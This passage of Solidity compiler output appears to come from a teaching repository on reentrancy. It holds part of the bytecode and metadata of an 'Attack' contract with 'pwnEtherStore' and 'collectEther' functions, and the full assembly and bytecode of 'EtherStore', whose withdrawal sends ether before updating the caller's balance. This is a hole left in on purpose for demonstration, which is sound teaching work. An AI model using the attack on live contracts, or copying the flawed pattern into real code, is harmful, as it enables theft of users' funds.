"begin": 645, | |
"end": 649, | |
"name": "ADDRESS" | |
}, | |
{ | |
"begin": 645, | |
"end": 657, | |
"name": "PUSH", | |
"value": "FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF" | |
}, | |
{ | |
"begin": 645, | |
"end": 657, | |
"name": "AND" | |
}, | |
{ | |
"begin": 645, | |
"end": 657, | |
"name": "BALANCE" | |
}, | |
{ | |
"begin": 625, | |
"end": 658, | |
"name": "SWAP1" | |
}, | |
{ | |
"begin": 625, | |
"end": 658, | |
"name": "DUP2" | |
}, | |
{ | |
"begin": 625, | |
"end": 658, | |
"name": "ISZERO" | |
}, | |
{ | |
"begin": 625, | |
"end": 658, | |
"name": "MUL" | |
}, | |
{ | |
"begin": 625, | |
"end": 658, | |
"name": "SWAP1" | |
}, | |
{ | |
"begin": 625, | |
"end": 658, | |
"name": "PUSH", | |
"value": "40" | |
}, | |
{ | |
"begin": 625, | |
"end": 658, | |
"name": "MLOAD" | |
}, | |
{ | |
"begin": 625, | |
"end": 658, | |
"name": "PUSH", | |
"value": "0" | |
}, | |
{ | |
"begin": 625, | |
"end": 658, | |
"name": "PUSH", | |
"value": "40" | |
}, | |
{ | |
"begin": 625, | |
"end": 658, | |
"name": "MLOAD" | |
}, | |
{ | |
"begin": 625, | |
"end": 658, | |
"name": "DUP1" | |
}, | |
{ | |
"begin": 625, | |
"end": 658, | |
"name": "DUP4" | |
}, | |
{ | |
"begin": 625, | |
"end": 658, | |
"name": "SUB" | |
}, | |
{ | |
"begin": 625, | |
"end": 658, | |
"name": "DUP2" | |
}, | |
{ | |
"begin": 625, | |
"end": 658, | |
"name": "DUP6" | |
}, | |
{ | |
"begin": 625, | |
"end": 658, | |
"name": "DUP9" | |
}, | |
{ | |
"begin": 625, | |
"end": 658, | |
"name": "DUP9" | |
}, | |
{ | |
"begin": 625, | |
"end": 658, | |
"name": "CALL" | |
}, | |
{ | |
"begin": 625, | |
"end": 658, | |
"name": "SWAP4" | |
}, | |
{ | |
"begin": 625, | |
"end": 658, | |
"name": "POP" | |
}, | |
{ | |
"begin": 625, | |
"end": 658, | |
"name": "POP" | |
}, | |
{ | |
"begin": 625, | |
"end": 658, | |
"name": "POP" | |
}, | |
{ | |
"begin": 625, | |
"end": 658, | |
"name": "POP" | |
}, | |
{ | |
"begin": 625, | |
"end": 658, | |
"name": "ISZERO" | |
}, | |
{ | |
"begin": 8, | |
"end": 17, | |
"name": "DUP1" | |
}, | |
{ | |
"begin": 5, | |
"end": 7, | |
"name": "ISZERO" | |
}, | |
{ | |
"begin": 5, | |
"end": 7, | |
"name": "PUSH [tag]", | |
"value": "25" | |
}, | |
{ | |
"begin": 5, | |
"end": 7, | |
"name": "JUMPI" | |
}, | |
{ | |
"begin": 45, | |
"end": 61, | |
"name": "RETURNDATASIZE" | |
}, | |
{ | |
"begin": 42, | |
"end": 43, | |
"name": "PUSH", | |
"value": "0" | |
}, | |
{ | |
"begin": 39, | |
"end": 40, | |
"name": "DUP1" | |
}, | |
{ | |
"begin": 24, | |
"end": 62, | |
"name": "RETURNDATACOPY" | |
}, | |
{ | |
"begin": 77, | |
"end": 93, | |
"name": "RETURNDATASIZE" | |
}, | |
{ | |
"begin": 74, | |
"end": 75, | |
"name": "PUSH", | |
"value": "0" | |
}, | |
{ | |
"begin": 67, | |
"end": 94, | |
"name": "REVERT" | |
}, | |
{ | |
"begin": 5, | |
"end": 7, | |
"name": "tag", | |
"value": "25" | |
}, | |
{ | |
"begin": 5, | |
"end": 7, | |
"name": "JUMPDEST" | |
}, | |
{ | |
"begin": 625, | |
"end": 658, | |
"name": "POP" | |
}, | |
{ | |
"begin": 584, | |
"end": 665, | |
"name": "JUMP", | |
"value": "[out]" | |
} | |
] | |
} | |
} | |
}, | |
"methodIdentifiers": { | |
"collectEther()": "ff11e1db", | |
"etherStore()": "acd2e6e5", | |
"pwnEtherStore()": "6289d385" | |
} | |
}, | |
"metadata": "{\"compiler\":{\"version\":\"0.4.26+commit.4563c3fc\"},\"language\":\"Solidity\",\"output\":{\"abi\":[{\"constant\":false,\"inputs\":[],\"name\":\"pwnEtherStore\",\"outputs\":[],\"payable\":true,\"stateMutability\":\"payable\",\"type\":\"function\"},{\"constant\":true,\"inputs\":[],\"name\":\"etherStore\",\"outputs\":[{\"name\":\"\",\"type\":\"address\"}],\"payable\":false,\"stateMutability\":\"view\",\"type\":\"function\"},{\"constant\":false,\"inputs\":[],\"name\":\"collectEther\",\"outputs\":[],\"payable\":false,\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"name\":\"_etherStoreAddress\",\"type\":\"address\"}],\"payable\":false,\"stateMutability\":\"nonpayable\",\"type\":\"constructor\"},{\"payable\":true,\"stateMutability\":\"payable\",\"type\":\"fallback\"}],\"devdoc\":{\"methods\":{}},\"userdoc\":{\"methods\":{}}},\"settings\":{\"compilationTarget\":{\"bit-smartcontract-bug/reentrancy/Attack.sol\":\"Attack\"},\"evmVersion\":\"byzantium\",\"libraries\":{},\"optimizer\":{\"enabled\":false,\"runs\":200},\"remappings\":[]},\"sources\":{\"bit-smartcontract-bug/reentrancy/Attack.sol\":{\"keccak256\":\"0xf7df91610639806a2ca8d75cc00003e4255deda92da8ba88205872b05fbb9f49\",\"urls\":[\"bzzr://4fe5efe12ca86e4c13502d2838b4ed700cbc49853658acbdb5f70f67f259c702\"]},\"bit-smartcontract-bug/reentrancy/EtherStore.sol\":{\"keccak256\":\"0xb7f87cf33041b451ad3adca18292a695410cbcda6375797f34dc30d1a9c2323a\",\"urls\":[\"bzzr://c7065c996fe4cc3ffef1380b7797b23c739a1fa17f7c4bfe024ced4af21da8b2\"]}},\"version\":1}", | |
"userdoc": { | |
"methods": {} | |
} | |
} | |
}, | |
"bit-smartcontract-bug/reentrancy/EtherStore.sol": { | |
"EtherStore": { | |
"abi": [ | |
{ | |
"constant": true, | |
"inputs": [ | |
{ | |
"name": "", | |
"type": "address" | |
} | |
], | |
"name": "lastWithdrawTime", | |
"outputs": [ | |
{ | |
"name": "", | |
"type": "uint256" | |
} | |
], | |
"payable": false, | |
"stateMutability": "view", | |
"type": "function" | |
}, | |
{ | |
"constant": false, | |
"inputs": [ | |
{ | |
"name": "_weiToWithdraw", | |
"type": "uint256" | |
} | |
], | |
"name": "withdrawFunds", | |
"outputs": [], | |
"payable": false, | |
"stateMutability": "nonpayable", | |
"type": "function" | |
}, | |
{ | |
"constant": true, | |
"inputs": [ | |
{ | |
"name": "", | |
"type": "address" | |
} | |
], | |
"name": "balances", | |
"outputs": [ | |
{ | |
"name": "", | |
"type": "uint256" | |
} | |
], | |
"payable": false, | |
"stateMutability": "view", | |
"type": "function" | |
}, | |
{ | |
"constant": true, | |
"inputs": [], | |
"name": "withdrawalLimit", | |
"outputs": [ | |
{ | |
"name": "", | |
"type": "uint256" | |
} | |
], | |
"payable": false, | |
"stateMutability": "view", | |
"type": "function" | |
}, | |
{ | |
"constant": false, | |
"inputs": [], | |
"name": "depositFunds", | |
"outputs": [], | |
"payable": true, | |
"stateMutability": "payable", | |
"type": "function" | |
} | |
], | |
"devdoc": { | |
"methods": {} | |
}, | |
"evm": { | |
"assembly": " /* \"bit-smartcontract-bug/reentrancy/EtherStore.sol\":25:765 contract EtherStore {... */\n mstore(0x40, 0x80)\n /* \"bit-smartcontract-bug/reentrancy/EtherStore.sol\":84:91 1 ether */\n 0xde0b6b3a7640000\n /* \"bit-smartcontract-bug/reentrancy/EtherStore.sol\":51:91 uint256 public withdrawalLimit = 1 ether */\n 0x0\n sstore\n /* \"bit-smartcontract-bug/reentrancy/EtherStore.sol\":25:765 contract EtherStore {... */\n callvalue\n /* \"--CODEGEN--\":8:17 */\n dup1\n /* \"--CODEGEN--\":5:7 */\n iszero\n tag_1\n jumpi\n /* \"--CODEGEN--\":30:31 */\n 0x0\n /* \"--CODEGEN--\":27:28 */\n dup1\n /* \"--CODEGEN--\":20:32 */\n revert\n /* \"--CODEGEN--\":5:7 */\ntag_1:\n /* \"bit-smartcontract-bug/reentrancy/EtherStore.sol\":25:765 contract EtherStore {... */\n pop\n dataSize(sub_0)\n dup1\n dataOffset(sub_0)\n 0x0\n codecopy\n 0x0\n return\nstop\n\nsub_0: assembly {\n /* \"bit-smartcontract-bug/reentrancy/EtherStore.sol\":25:765 contract EtherStore {... */\n mstore(0x40, 0x80)\n jumpi(tag_1, lt(calldatasize, 0x4))\n calldataload(0x0)\n 0x100000000000000000000000000000000000000000000000000000000\n swap1\n div\n 0xffffffff\n and\n dup1\n 0x1031ec31\n eq\n tag_2\n jumpi\n dup1\n 0x155dd5ee\n eq\n tag_3\n jumpi\n dup1\n 0x27e235e3\n eq\n tag_4\n jumpi\n dup1\n 0x7ddfe78d\n eq\n tag_5\n jumpi\n dup1\n 0xe2c41dbc\n eq\n tag_6\n jumpi\n tag_1:\n 0x0\n dup1\n revert\n /* \"bit-smartcontract-bug/reentrancy/EtherStore.sol\":97:148 mapping(address => uint256) public lastWithdrawTime */\n tag_2:\n callvalue\n /* \"--CODEGEN--\":8:17 */\n dup1\n /* \"--CODEGEN--\":5:7 */\n iszero\n tag_7\n jumpi\n /* \"--CODEGEN--\":30:31 */\n 0x0\n /* \"--CODEGEN--\":27:28 */\n dup1\n /* \"--CODEGEN--\":20:32 */\n revert\n /* \"--CODEGEN--\":5:7 */\n tag_7:\n /* \"bit-smartcontract-bug/reentrancy/EtherStore.sol\":97:148 mapping(address => uint256) public lastWithdrawTime */\n pop\n tag_8\n 0x4\n dup1\n calldatasize\n sub\n dup2\n add\n swap1\n dup1\n dup1\n calldataload\n 0xffffffffffffffffffffffffffffffffffffffff\n and\n swap1\n 0x20\n add\n swap1\n swap3\n swap2\n swap1\n pop\n pop\n pop\n jump(tag_9)\n tag_8:\n mload(0x40)\n dup1\n dup3\n dup2\n mstore\n 0x20\n add\n swap2\n pop\n pop\n mload(0x40)\n dup1\n swap2\n sub\n swap1\n return\n /* \"bit-smartcontract-bug/reentrancy/EtherStore.sol\":299:762 function withdrawFunds (uint256 _weiToWithdraw) public {... */\n tag_3:\n callvalue\n /* \"--CODEGEN--\":8:17 */\n dup1\n /* \"--CODEGEN--\":5:7 */\n iszero\n tag_10\n jumpi\n /* \"--CODEGEN--\":30:31 */\n 0x0\n /* \"--CODEGEN--\":27:28 */\n dup1\n /* \"--CODEGEN--\":20:32 */\n revert\n /* \"--CODEGEN--\":5:7 */\n tag_10:\n /* \"bit-smartcontract-bug/reentrancy/EtherStore.sol\":299:762 function withdrawFunds (uint256 _weiToWithdraw) public {... */\n pop\n tag_11\n 0x4\n dup1\n calldatasize\n sub\n dup2\n add\n swap1\n dup1\n dup1\n calldataload\n swap1\n 0x20\n add\n swap1\n swap3\n swap2\n swap1\n pop\n pop\n pop\n jump(tag_12)\n tag_11:\n stop\n /* \"bit-smartcontract-bug/reentrancy/EtherStore.sol\":154:197 mapping(address => uint256) public balances */\n tag_4:\n callvalue\n /* \"--CODEGEN--\":8:17 */\n dup1\n /* \"--CODEGEN--\":5:7 */\n iszero\n tag_13\n jumpi\n /* \"--CODEGEN--\":30:31 */\n 0x0\n /* \"--CODEGEN--\":27:28 */\n dup1\n /* \"--CODEGEN--\":20:32 */\n revert\n /* \"--CODEGEN--\":5:7 */\n tag_13:\n /* \"bit-smartcontract-bug/reentrancy/EtherStore.sol\":154:197 mapping(address => uint256) public balances */\n pop\n tag_14\n 0x4\n dup1\n calldatasize\n sub\n dup2\n add\n swap1\n dup1\n dup1\n calldataload\n 0xffffffffffffffffffffffffffffffffffffffff\n and\n swap1\n 0x20\n add\n swap1\n swap3\n swap2\n swap1\n pop\n pop\n pop\n jump(tag_15)\n tag_14:\n mload(0x40)\n dup1\n dup3\n dup2\n mstore\n 0x20\n add\n swap2\n pop\n pop\n mload(0x40)\n dup1\n swap2\n sub\n swap1\n return\n /* \"bit-smartcontract-bug/reentrancy/EtherStore.sol\":51:91 uint256 public withdrawalLimit = 1 ether */\n tag_5:\n callvalue\n /* \"--CODEGEN--\":8:17 */\n dup1\n /* \"--CODEGEN--\":5:7 */\n iszero\n tag_16\n jumpi\n /* \"--CODEGEN--\":30:31 */\n 0x0\n /* \"--CODEGEN--\":27:28 */\n dup1\n /* \"--CODEGEN--\":20:32 */\n revert\n /* \"--CODEGEN--\":5:7 */\n tag_16:\n /* \"bit-smartcontract-bug/reentrancy/EtherStore.sol\":51:91 uint256 public withdrawalLimit = 1 ether */\n pop\n tag_17\n jump(tag_18)\n tag_17:\n mload(0x40)\n dup1\n dup3\n dup2\n mstore\n 0x20\n add\n swap2\n pop\n pop\n mload(0x40)\n dup1\n swap2\n sub\n swap1\n return\n /* \"bit-smartcontract-bug/reentrancy/EtherStore.sol\":204:293 function depositFunds() public payable {... */\n tag_6:\n tag_19\n jump(tag_20)\n tag_19:\n stop\n /* \"bit-smartcontract-bug/reentrancy/EtherStore.sol\":97:148 mapping(address => uint256) public lastWithdrawTime */\n tag_9:\n mstore(0x20, 0x1)\n dup1\n 0x0\n mstore\n keccak256(0x0, 0x40)\n 0x0\n swap2\n pop\n swap1\n pop\n sload\n dup2\n jump\t// out\n /* \"bit-smartcontract-bug/reentrancy/EtherStore.sol\":299:762 function withdrawFunds (uint256 _weiToWithdraw) public {... */\n tag_12:\n /* \"bit-smartcontract-bug/reentrancy/EtherStore.sol\":396:410 _weiToWithdraw */\n dup1\n /* \"bit-smartcontract-bug/reentrancy/EtherStore.sol\":372:380 balances */\n 0x2\n /* \"bit-smartcontract-bug/reentrancy/EtherStore.sol\":372:392 balances[msg.sender] */\n 0x0\n /* \"bit-smartcontract-bug/reentrancy/EtherStore.sol\":381:391 msg.sender */\n caller\n /* \"bit-smartcontract-bug/reentrancy/EtherStore.sol\":372:392 balances[msg.sender] */\n 0xffffffffffffffffffffffffffffffffffffffff\n and\n 0xffffffffffffffffffffffffffffffffffffffff\n and\n dup2\n mstore\n 0x20\n add\n swap1\n dup2\n mstore\n 0x20\n add\n 0x0\n keccak256\n sload\n /* \"bit-smartcontract-bug/reentrancy/EtherStore.sol\":372:410 balances[msg.sender] >= _weiToWithdraw */\n lt\n iszero\n /* \"bit-smartcontract-bug/reentrancy/EtherStore.sol\":364:411 require(balances[msg.sender] >= _weiToWithdraw) */\n iszero\n iszero\n tag_22\n jumpi\n 0x0\n dup1\n revert\n tag_22:\n /* \"bit-smartcontract-bug/reentrancy/EtherStore.sol\":479:494 withdrawalLimit */\n sload(0x0)\n /* \"bit-smartcontract-bug/reentrancy/EtherStore.sol\":461:475 _weiToWithdraw */\n dup2\n /* \"bit-smartcontract-bug/reentrancy/EtherStore.sol\":461:494 _weiToWithdraw <= withdrawalLimit */\n gt\n iszero\n /* \"bit-smartcontract-bug/reentrancy/EtherStore.sol\":453:495 require(_weiToWithdraw <= withdrawalLimit) */\n iszero\n iszero\n tag_23\n jumpi\n 0x0\n dup1\n revert\n tag_23:\n /* \"bit-smartcontract-bug/reentrancy/EtherStore.sol\":597:604 1 weeks */\n 0x93a80\n /* \"bit-smartcontract-bug/reentrancy/EtherStore.sol\":566:582 lastWithdrawTime */\n 0x1\n /* \"bit-smartcontract-bug/reentrancy/EtherStore.sol\":566:594 lastWithdrawTime[msg.sender] */\n 0x0\n /* \"bit-smartcontract-bug/reentrancy/EtherStore.sol\":583:593 msg.sender */\n caller\n /* \"bit-smartcontract-bug/reentrancy/EtherStore.sol\":566:594 lastWithdrawTime[msg.sender] */\n 0xffffffffffffffffffffffffffffffffffffffff\n and\n 0xffffffffffffffffffffffffffffffffffffffff\n and\n dup2\n mstore\n 0x20\n add\n swap1\n dup2\n mstore\n 0x20\n add\n 0x0\n keccak256\n sload\n /* \"bit-smartcontract-bug/reentrancy/EtherStore.sol\":566:604 lastWithdrawTime[msg.sender] + 1 weeks */\n add\n /* \"bit-smartcontract-bug/reentrancy/EtherStore.sol\":559:562 now */\n timestamp\n /* \"bit-smartcontract-bug/reentrancy/EtherStore.sol\":559:604 now >= lastWithdrawTime[msg.sender] + 1 weeks */\n lt\n iszero\n /* \"bit-smartcontract-bug/reentrancy/EtherStore.sol\":551:605 require(now >= lastWithdrawTime[msg.sender] + 1 weeks) */\n iszero\n iszero\n tag_24\n jumpi\n 0x0\n dup1\n revert\n tag_24:\n /* \"bit-smartcontract-bug/reentrancy/EtherStore.sol\":623:633 msg.sender */\n caller\n /* \"bit-smartcontract-bug/reentrancy/EtherStore.sol\":623:638 msg.sender.call */\n 0xffffffffffffffffffffffffffffffffffffffff\n and\n /* \"bit-smartcontract-bug/reentrancy/EtherStore.sol\":645:659 _weiToWithdraw */\n dup2\n /* \"bit-smartcontract-bug/reentrancy/EtherStore.sol\":623:662 msg.sender.call.value(_weiToWithdraw)() */\n mload(0x40)\n 0x0\n mload(0x40)\n dup1\n dup4\n sub\n dup2\n dup6\n dup8\n gas\n call\n swap3\n pop\n pop\n pop\n /* \"bit-smartcontract-bug/reentrancy/EtherStore.sol\":615:663 require(msg.sender.call.value(_weiToWithdraw)()) */\n iszero\n iszero\n tag_25\n jumpi\n 0x0\n dup1\n revert\n tag_25:\n /* \"bit-smartcontract-bug/reentrancy/EtherStore.sol\":697:711 _weiToWithdraw */\n dup1\n /* \"bit-smartcontract-bug/reentrancy/EtherStore.sol\":673:681 balances */\n 0x2\n /* \"bit-smartcontract-bug/reentrancy/EtherStore.sol\":673:693 balances[msg.sender] */\n 0x0\n /* \"bit-smartcontract-bug/reentrancy/EtherStore.sol\":682:692 msg.sender */\n caller\n /* \"bit-smartcontract-bug/reentrancy/EtherStore.sol\":673:693 balances[msg.sender] */\n 0xffffffffffffffffffffffffffffffffffffffff\n and\n 0xffffffffffffffffffffffffffffffffffffffff\n and\n dup2\n mstore\n 0x20\n add\n swap1\n dup2\n mstore\n 0x20\n add\n 0x0\n keccak256\n 0x0\n /* \"bit-smartcontract-bug/reentrancy/EtherStore.sol\":673:711 balances[msg.sender] -= _weiToWithdraw */\n dup3\n dup3\n sload\n sub\n swap3\n pop\n pop\n dup2\n swap1\n sstore\n pop\n /* \"bit-smartcontract-bug/reentrancy/EtherStore.sol\":752:755 now */\n timestamp\n /* \"bit-smartcontract-bug/reentrancy/EtherStore.sol\":721:737 lastWithdrawTime */\n 0x1\n /* \"bit-smartcontract-bug/reentrancy/EtherStore.sol\":721:749 lastWithdrawTime[msg.sender] */\n 0x0\n /* \"bit-smartcontract-bug/reentrancy/EtherStore.sol\":738:748 msg.sender */\n caller\n /* \"bit-smartcontract-bug/reentrancy/EtherStore.sol\":721:749 lastWithdrawTime[msg.sender] */\n 0xffffffffffffffffffffffffffffffffffffffff\n and\n 0xffffffffffffffffffffffffffffffffffffffff\n and\n dup2\n mstore\n 0x20\n add\n swap1\n dup2\n mstore\n 0x20\n add\n 0x0\n keccak256\n /* \"bit-smartcontract-bug/reentrancy/EtherStore.sol\":721:755 lastWithdrawTime[msg.sender] = now */\n dup2\n swap1\n sstore\n pop\n /* \"bit-smartcontract-bug/reentrancy/EtherStore.sol\":299:762 function withdrawFunds (uint256 _weiToWithdraw) public {... */\n pop\n jump\t// out\n /* \"bit-smartcontract-bug/reentrancy/EtherStore.sol\":154:197 mapping(address => uint256) public balances */\n tag_15:\n mstore(0x20, 0x2)\n dup1\n 0x0\n mstore\n keccak256(0x0, 0x40)\n 0x0\n swap2\n pop\n swap1\n pop\n sload\n dup2\n jump\t// out\n /* \"bit-smartcontract-bug/reentrancy/EtherStore.sol\":51:91 uint256 public withdrawalLimit = 1 ether */\n tag_18:\n sload(0x0)\n dup2\n jump\t// out\n /* \"bit-smartcontract-bug/reentrancy/EtherStore.sol\":204:293 function depositFunds() public payable {... */\n tag_20:\n /* \"bit-smartcontract-bug/reentrancy/EtherStore.sol\":277:286 msg.value */\n callvalue\n /* \"bit-smartcontract-bug/reentrancy/EtherStore.sol\":253:261 balances */\n 0x2\n /* \"bit-smartcontract-bug/reentrancy/EtherStore.sol\":253:273 balances[msg.sender] */\n 0x0\n /* \"bit-smartcontract-bug/reentrancy/EtherStore.sol\":262:272 msg.sender */\n caller\n /* \"bit-smartcontract-bug/reentrancy/EtherStore.sol\":253:273 balances[msg.sender] */\n 0xffffffffffffffffffffffffffffffffffffffff\n and\n 0xffffffffffffffffffffffffffffffffffffffff\n and\n dup2\n mstore\n 0x20\n add\n swap1\n dup2\n mstore\n 0x20\n add\n 0x0\n keccak256\n 0x0\n /* \"bit-smartcontract-bug/reentrancy/EtherStore.sol\":253:286 balances[msg.sender] += msg.value */\n dup3\n dup3\n sload\n add\n swap3\n pop\n pop\n dup2\n swap1\n sstore\n pop\n /* \"bit-smartcontract-bug/reentrancy/EtherStore.sol\":204:293 function depositFunds() public payable {... */\n jump\t// out\n\n auxdata: 0xa165627a7a72305820074e6fe5cec4ab62e5abca789b9b486bb4738b5aaa4acc851bf93215ae6be45e0029\n}\n", | |
"bytecode": { | |
"linkReferences": {}, | |
"object": "6080604052670de0b6b3a764000060005534801561001c57600080fd5b506103b08061002c6000396000f30060806040526004361061006d576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680631031ec3114610072578063155dd5ee146100c957806327e235e3146100f65780637ddfe78d1461014d578063e2c41dbc14610178575b600080fd5b34801561007e57600080fd5b506100b3600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610182565b6040518082815260200191505060405180910390f35b3480156100d557600080fd5b506100f46004803603810190808035906020019092919050505061019a565b005b34801561010257600080fd5b50610137600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610317565b6040518082815260200191505060405180910390f35b34801561015957600080fd5b5061016261032f565b6040518082815260200191505060405180910390f35b610180610335565b005b60016020528060005260406000206000915090505481565b80600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101515156101e857600080fd5b60005481111515156101f957600080fd5b62093a80600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205401421015151561024c57600080fd5b3373ffffffffffffffffffffffffffffffffffffffff168160405160006040518083038185875af192505050151561028357600080fd5b80600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555042600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050565b60026020528060005260406000206000915090505481565b60005481565b34600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055505600a165627a7a72305820074e6fe5cec4ab62e5abca789b9b486bb4738b5aaa4acc851bf93215ae6be45e0029", | |
"opcodes": "PUSH1 0x80 PUSH1 0x40 MSTORE PUSH8 0xDE0B6B3A7640000 PUSH1 0x0 SSTORE CALLVALUE DUP1 ISZERO PUSH2 0x1C JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP PUSH2 0x3B0 DUP1 PUSH2 0x2C PUSH1 0x0 CODECOPY PUSH1 0x0 RETURN STOP PUSH1 0x80 PUSH1 0x40 MSTORE PUSH1 0x4 CALLDATASIZE LT PUSH2 0x6D JUMPI PUSH1 0x0 CALLDATALOAD PUSH29 0x100000000000000000000000000000000000000000000000000000000 SWAP1 DIV PUSH4 0xFFFFFFFF AND DUP1 PUSH4 0x1031EC31 EQ PUSH2 0x72 JUMPI DUP1 PUSH4 0x155DD5EE EQ PUSH2 0xC9 JUMPI DUP1 PUSH4 0x27E235E3 EQ PUSH2 0xF6 JUMPI DUP1 PUSH4 0x7DDFE78D EQ PUSH2 0x14D JUMPI DUP1 PUSH4 0xE2C41DBC EQ PUSH2 0x178 JUMPI JUMPDEST PUSH1 0x0 DUP1 REVERT JUMPDEST CALLVALUE DUP1 ISZERO PUSH2 0x7E JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP PUSH2 0xB3 PUSH1 0x4 DUP1 CALLDATASIZE SUB DUP2 ADD SWAP1 DUP1 DUP1 CALLDATALOAD PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND SWAP1 PUSH1 0x20 ADD SWAP1 SWAP3 SWAP2 SWAP1 POP POP POP PUSH2 0x182 JUMP JUMPDEST PUSH1 0x40 MLOAD DUP1 DUP3 DUP2 MSTORE PUSH1 0x20 ADD SWAP2 POP POP PUSH1 0x40 MLOAD DUP1 SWAP2 SUB SWAP1 RETURN JUMPDEST CALLVALUE DUP1 ISZERO PUSH2 0xD5 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP PUSH2 0xF4 PUSH1 0x4 DUP1 CALLDATASIZE SUB DUP2 ADD SWAP1 DUP1 DUP1 CALLDATALOAD SWAP1 PUSH1 0x20 ADD SWAP1 SWAP3 SWAP2 SWAP1 POP POP POP PUSH2 0x19A JUMP JUMPDEST STOP JUMPDEST CALLVALUE DUP1 ISZERO PUSH2 0x102 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP PUSH2 0x137 PUSH1 0x4 DUP1 CALLDATASIZE SUB DUP2 ADD SWAP1 DUP1 DUP1 CALLDATALOAD PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND SWAP1 PUSH1 0x20 ADD SWAP1 SWAP3 SWAP2 SWAP1 POP POP POP PUSH2 0x317 JUMP JUMPDEST PUSH1 0x40 MLOAD DUP1 DUP3 DUP2 MSTORE PUSH1 0x20 ADD SWAP2 POP POP PUSH1 0x40 MLOAD DUP1 SWAP2 SUB SWAP1 RETURN JUMPDEST CALLVALUE DUP1 ISZERO PUSH2 0x159 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP PUSH2 0x162 PUSH2 0x32F JUMP JUMPDEST PUSH1 0x40 MLOAD DUP1 DUP3 DUP2 MSTORE PUSH1 0x20 ADD SWAP2 POP POP PUSH1 0x40 MLOAD DUP1 SWAP2 SUB SWAP1 RETURN JUMPDEST PUSH2 0x180 PUSH2 0x335 JUMP JUMPDEST STOP JUMPDEST PUSH1 0x1 PUSH1 0x20 MSTORE DUP1 PUSH1 0x0 MSTORE PUSH1 0x40 PUSH1 0x0 KECCAK256 PUSH1 0x0 SWAP2 POP SWAP1 POP SLOAD DUP2 JUMP JUMPDEST DUP1 PUSH1 0x2 PUSH1 0x0 CALLER PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND DUP2 MSTORE PUSH1 0x20 ADD SWAP1 DUP2 MSTORE PUSH1 0x20 ADD PUSH1 0x0 KECCAK256 SLOAD LT ISZERO ISZERO ISZERO PUSH2 0x1E8 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST PUSH1 0x0 SLOAD DUP2 GT ISZERO ISZERO ISZERO PUSH2 0x1F9 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST PUSH3 0x93A80 PUSH1 0x1 PUSH1 0x0 CALLER PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND DUP2 MSTORE PUSH1 0x20 ADD SWAP1 DUP2 MSTORE PUSH1 0x20 ADD PUSH1 0x0 KECCAK256 SLOAD ADD TIMESTAMP LT ISZERO ISZERO ISZERO PUSH2 0x24C JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST CALLER PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND DUP2 PUSH1 0x40 MLOAD PUSH1 0x0 PUSH1 0x40 MLOAD DUP1 DUP4 SUB DUP2 DUP6 DUP8 GAS CALL SWAP3 POP POP POP ISZERO ISZERO PUSH2 0x283 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST DUP1 PUSH1 0x2 PUSH1 0x0 CALLER PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND DUP2 MSTORE PUSH1 0x20 ADD SWAP1 DUP2 MSTORE PUSH1 0x20 ADD PUSH1 0x0 KECCAK256 PUSH1 0x0 DUP3 DUP3 SLOAD SUB SWAP3 POP POP DUP2 SWAP1 SSTORE POP TIMESTAMP PUSH1 0x1 PUSH1 0x0 CALLER PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND DUP2 MSTORE PUSH1 0x20 ADD SWAP1 DUP2 MSTORE PUSH1 0x20 ADD PUSH1 0x0 KECCAK256 DUP2 SWAP1 SSTORE POP POP JUMP JUMPDEST PUSH1 0x2 PUSH1 0x20 MSTORE DUP1 PUSH1 0x0 MSTORE PUSH1 0x40 PUSH1 0x0 KECCAK256 PUSH1 0x0 SWAP2 POP SWAP1 POP SLOAD DUP2 JUMP JUMPDEST PUSH1 0x0 SLOAD DUP2 JUMP JUMPDEST CALLVALUE PUSH1 0x2 PUSH1 0x0 CALLER PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND DUP2 MSTORE PUSH1 0x20 ADD SWAP1 DUP2 MSTORE PUSH1 0x20 ADD PUSH1 0x0 KECCAK256 PUSH1 0x0 DUP3 DUP3 SLOAD ADD SWAP3 POP POP DUP2 SWAP1 SSTORE POP JUMP STOP LOG1 PUSH6 0x627A7A723058 